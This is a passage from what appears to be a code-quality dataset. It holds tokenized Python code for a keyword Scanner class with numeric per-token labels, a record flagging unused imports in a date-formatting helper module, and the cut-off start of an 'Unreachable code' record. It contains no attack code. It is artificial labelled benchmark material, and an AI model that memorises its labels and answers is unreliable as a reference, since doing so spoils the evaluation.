"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"scan",
"\\u",
"file_",
"(_",
"self_",
",_",
"keywords_",
",_",
"data\\u",
"file_",
",_",
"import",
"\\u",
"history_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"time_",
"(_",
")_",
"-_",
"self_",
"._",
"start",
"\\u",
"time_",
">_",
"SCAN",
"\\u",
"TIMEOUT_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"sublime_",
"._",
"set\\u",
"timeout_",
"(_",
"lambda_",
":_",
"self_",
"._",
"view_",
"._",
"set\\u",
"status_",
"(_",
"'",
"scan",
"\\u",
"error",
"'_",
",_",
"'",
"scanning",
" ",
"timeo",
"ut",
" ",
"exceed",
"ed",
"'_",
")_",
",_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sublime_",
"._",
"set\\u",
"timeout_",
"(_",
"lambda_",
":_",
"self_",
"._",
"view_",
"._",
"erase",
"\\u",
"status_",
"(_",
"'",
"scan",
"\\u",
"error",
"'_",
")_",
",_",
"5000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"scanned",
"\\u",
"files_",
"._",
"add_",
"(_",
"data\\u",
"file_",
"._",
"source_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"data\\u",
"file_",
"._",
"source_",
"in_",
"import",
"\\u",
"history_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"prevent",
" ",
"circular",
" ",
"import",
" ",
"loops_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"import",
"\\u",
"history_",
"=_",
"copy_",
"(_",
"import",
"\\u",
"history_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import",
"\\u",
"history_",
"._",
"append_",
"(_",
"data\\u",
"file_",
"._",
"source_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"setting_",
"in_",
"data\\u",
"file_",
"._",
"imports_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"hasattr_",
"(_",
"setting_",
",_",
"'",
"type",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"setting_",
"._",
"type_",
"==_",
"'",
"Reso",
"urc",
"e",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"resource",
"\\u",
"path_",
"=_",
"os_",
"._",
"path_",
"._",
"normpath_",
"(_",
"os_",
"._",
"path_",
"._",
"join_",
"(_",
"setting_",
"._",
"directory_",
",_",
"setting_",
"._",
"name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cached_",
",_",
"store",
"d\\u",
"hash_",
"=_",
"scanner",
"\\u",
"cache_",
"._",
"get",
"\\u",
"cache",
"d\\u",
"data_",
"(_",
"resource",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"cached_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"self_",
"._",
"\\u\\u",
"scan",
"\\u",
"file_",
"(_",
"keywords_",
",_",
"cached_",
",_",
"import",
"\\u",
"history_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"resource",
"\\u",
"data_",
"=_",
"Reso",
"urc",
"e",
"File_",
"(_",
"source_",
"=_",
"resource",
"\\u",
"path_",
")_",
"._",
"populate_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scanner",
"\\u",
"cache_",
"._",
"put",
"\\u",
"data_",
"(_",
"resource",
"\\u",
"path_",
",_",
"resource",
"\\u",
"data_",
",_",
"store",
"d\\u",
"hash_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"scan",
"\\u",
"file_",
"(_",
"keywords_",
",_",
"resource",
"\\u",
"data_",
",_",
"import",
"\\u",
"history_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Data",
"Error_",
"as_",
"de_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"print_",
"'",
"error",
" ",
"readi",
"ng",
" ",
"resource",
":'_",
",_",
"resource",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"scan",
"\\u",
"keywords_",
"(_",
"data\\u",
"file_",
",_",
"keywords_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"scan",
"\\u",
"keywords_",
"(_",
"self_",
",_",
"data\\u",
"file_",
",_",
"keywords_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"keyword_",
"in_",
"data\\u",
"file_",
"._",
"keyw",
"ord",
"\\u",
"table_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"lower",
"\\u",
"name_",
"=_",
"keyword_",
"._",
"name_",
"._",
"lower_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"keywords_",
"._",
"has",
"\\u",
"key_",
"(_",
"lower",
"\\u",
"name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"keywords_",
"[_",
"lower",
"\\u",
"name_",
"]_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"wrapped_",
"=_",
"Wrapp",
"ed",
"Keyword_",
"(_",
"data\\u",
"file_",
",_",
"keyword_",
",_",
"os_",
"._",
"path_",
"._",
"relpath_",
"(_",
"keyword_",
"._",
"source_",
",_",
"self_",
"._",
"start",
"\\u",
"path_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"wrapped_",
"in_",
"keywords_",
"[_",
"lower",
"\\u",
"name_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"keywords_",
"[_",
"lower",
"\\u",
"name_",
"]_",
"._",
"append_",
"(_",
"wrapped_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"scan",
"\\u",
"with",
"out",
"\\u",
"resources_",
"(_",
"self_",
",_",
"file",
"\\u",
"path_",
",_",
"keywords_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"file",
"\\u",
"path_",
"in_",
"self_",
"._",
"scanned",
"\\u",
"files_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"open_",
"(_",
"file",
"\\u",
"path_",
",_",
"'",
"rb",
"'_",
")_",
"as_",
"f_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"lines_",
"=_",
"f_",
"._",
"readlines_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"IO",
"Error_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"cached_",
",_",
"store",
"d\\u",
"hash_",
"=_",
"scanner",
"\\u",
"cache_",
"._",
"get",
"\\u",
"cache",
"d\\u",
"data_",
"(_",
"file",
"\\u",
"path_",
",_",
"lines_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"cached_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"scan",
"\\u",
"keywords_",
"(_",
"cached_",
",_",
"keywords_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"line_",
"in_",
"lines_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"if_",
"re_",
"._",
"search_",
"(_",
"detect",
"\\u",
"robot",
"\\u",
"regex_",
",_",
"line_",
",_",
"re_",
"._",
"IGNORECASE_",
")_",
"!=_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"data\\u",
"file_",
"=_",
"populate",
"\\u",
"from",
"\\u",
"lines_",
"(_",
"lines_",
",_",
"file",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scanner",
"\\u",
"cache_",
"._",
"put",
"\\u",
"data_",
"(_",
"file",
"\\u",
"path_",
",_",
"data\\u",
"file_",
",_",
"store",
"d\\u",
"hash_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"scan",
"\\u",
"keywords_",
"(_",
"data\\u",
"file_",
",_",
"keywords_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Data",
"Error_",
"as_",
"de_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | nikcub/floyd/floyd/helpers/dateformat.py | [
{
"content": "\nimport time\n\nfrom floyd.util.dateformat import DateFormat, TimeFormat, datetime_to_timestamp, utc_mktime\nfrom floyd.util.timesince import timesince as ts, timeuntil as tu\n\n__all__ = ['date_format', 'time_format', 'short_date', 'iso_date', \n 'rfc2822_date', 'datetimeformat', 'timesince', 'timeuntil', 'utc_timestamp', 'timestamp']\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def date_format(value, format_string):\n \"Helper function for PHP style date formatting\"\n df = DateFormat(value)\n return df.format(format_string)",
"metadata": "root.date_format",
"header": "['module', '___EOS___']",
"index": 9
},
{
"content": "def time_format(value, format_string):\n \"Helper function for PHP style time formatting\"\n tf = TimeFormat(value)\n return tf.format(format_string)",
"metadata": "root.time_format",
"header": "['module', '___EOS___']",
"index": 14
},
{
"content": "def short_date(value):\n df = DateFormat(value)\n return df.format('jS M Y')",
"metadata": "root.short_date",
"header": "['module', '___EOS___']",
"index": 19
},
{
"content": "def iso_date(value):\n \"\"\"\n @todo convert to python native\n \"\"\"\n df = DateFormat(value)\n return df.format('c')",
"metadata": "root.iso_date",
"header": "['module', '___EOS___']",
"index": 23
},
{
"content": "def rfc2822_date(value):\n \"\"\"\n \"\"\"\n return value.strftime(\"%a, %d %b %Y %H:%M:%S +0000\")",
"metadata": "root.rfc2822_date",
"header": "['module', '___EOS___']",
"index": 30
},
{
"content": "def datetimeformat(value, format='%H:%M / %d-%m-%Y'):\n \"Helper function for native Python date formatting\"\n return value.strftime(format)",
"metadata": "root.datetimeformat",
"header": "['module', '___EOS___']",
"index": 35
},
{
"content": "def utc_timestamp(value):\n return datetime_to_timestamp(value)",
"metadata": "root.utc_timestamp",
"header": "['module', '___EOS___']",
"index": 39
},
{
"content": "def timestamp(value):\n return datetime_to_timestamp(value)",
"metadata": "root.timestamp",
"header": "['module', '___EOS___']",
"index": 42
},
{
"content": "def timesince(value):\n return ts(value)",
"metadata": "root.timesince",
"header": "['module', '___EOS___']",
"index": 45
},
{
"content": "def timeuntil(value):\n return tu(value)",
"metadata": "root.timeuntil",
"header": "['module', '___EOS___']",
"index": 48
},
{
"content": "def timeuntil_two(value):\n return ",
"metadata": "root.timeuntil_two",
"header": "['module', '___EOS___']",
"index": 51
}
]
| [
{
"span": "import time",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 11
},
{
"span": "from floyd.util.dateformat import DateFormat, TimeFormat, datetime_to_timestamp, utc_mktime",
"start_line": 3,
"start_column": 0,
"end_line": 3,
"end_column": 91
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"flo",
"yd",
"_",
"._",
"util_",
"._",
"datef",
"ormat_",
"import_",
"Date",
"Format_",
",_",
"Time",
"Format_",
",_",
"datetime",
"\\u",
"to",
"\\u",
"timestamp_",
",_",
"utc",
"\\u",
"mktime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"flo",
"yd",
"_",
"._",
"util_",
"._",
"times",
"inc",
"e_",
"import_",
"times",
"inc",
"e_",
"as_",
"ts_",
",_",
"time",
"until_",
"as_",
"tu_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u",
"all\\u\\u_",
"=_",
"[_",
"'",
"date",
"\\u",
"format",
"'_",
",_",
"'",
"time",
"\\u",
"format",
"'_",
",_",
"'",
"short",
"\\u",
"date",
"'_",
",_",
"'",
"iso",
"\\u",
"date",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"rfc",
"282",
"2",
"\\u",
"date",
"'_",
",_",
"'",
"datetime",
"format",
"'_",
",_",
"'",
"times",
"inc",
"e",
"'_",
",_",
"'",
"time",
"unti",
"l",
"'_",
",_",
"'",
"utc",
"\\u",
"timestamp",
"'_",
",_",
"'",
"timestamp",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"date",
"\\u",
"format_",
"(_",
"value_",
",_",
"format\\u",
"string_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"",
"Help",
"er",
" ",
"function",
" ",
"for",
" ",
"PH",
"P",
" ",
"style",
" ",
"date",
" ",
"format",
"ting",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"df_",
"=_",
"Date",
"Format_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"df_",
"._",
"format_",
"(_",
"format\\u",
"string_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"time",
"\\u",
"format_",
"(_",
"value_",
",_",
"format\\u",
"string_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"",
"Help",
"er",
" ",
"function",
" ",
"for",
" ",
"PH",
"P",
" ",
"style",
" ",
"time",
" ",
"format",
"ting",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tf_",
"=_",
"Time",
"Format_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"tf_",
"._",
"format_",
"(_",
"format\\u",
"string_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"short",
"\\u",
"date_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"df_",
"=_",
"Date",
"Format_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"df_",
"._",
"format_",
"(_",
"'",
"j",
"S",
" ",
"M",
" ",
"Y",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"iso",
"\\u",
"date_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
"@",
"todo",
" ",
"convert",
" ",
"to",
" ",
"python",
" ",
"nativ",
"e",
"\\",
"10",
";",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"df_",
"=_",
"Date",
"Format_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"df_",
"._",
"format_",
"(_",
"'",
"c",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"rfc",
"282",
"2",
"\\u",
"date_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"value_",
"._",
"strftime_",
"(_",
"\"%",
"a",
",",
" ",
"%",
"d",
" ",
"%",
"b",
" ",
"%",
"Y",
" ",
"%",
"H",
":",
"%",
"M",
":",
"%",
"S",
" ",
"+0",
"000",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"datetime",
"format_",
"(_",
"value_",
",_",
"format_",
"=_",
"'%",
"H",
":",
"%",
"M",
" ",
"/",
" ",
"%",
"d",
"-%",
"m",
"-%",
"Y",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"",
"Help",
"er",
" ",
"function",
" ",
"for",
" ",
"nativ",
"e",
" ",
"Pyth",
"on",
" ",
"date",
" ",
"format",
"ting",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"value_",
"._",
"strftime_",
"(_",
"format_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"utc",
"\\u",
"timestamp_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"datetime",
"\\u",
"to",
"\\u",
"timestamp_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"timestamp_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"datetime",
"\\u",
"to",
"\\u",
"timestamp_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"times",
"inc",
"e_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"ts_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"time",
"until_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"tu_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"time",
"unti",
"l\\u",
"two_",
"(_",
"value_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
0,
1,
2,
2,
0,
1,
1,
1,
1,
1,
1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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unreachable code | rizumu/bootmachine/bootmachine/contrib/distros/attic/rackspace_arch_20139.py | [
{
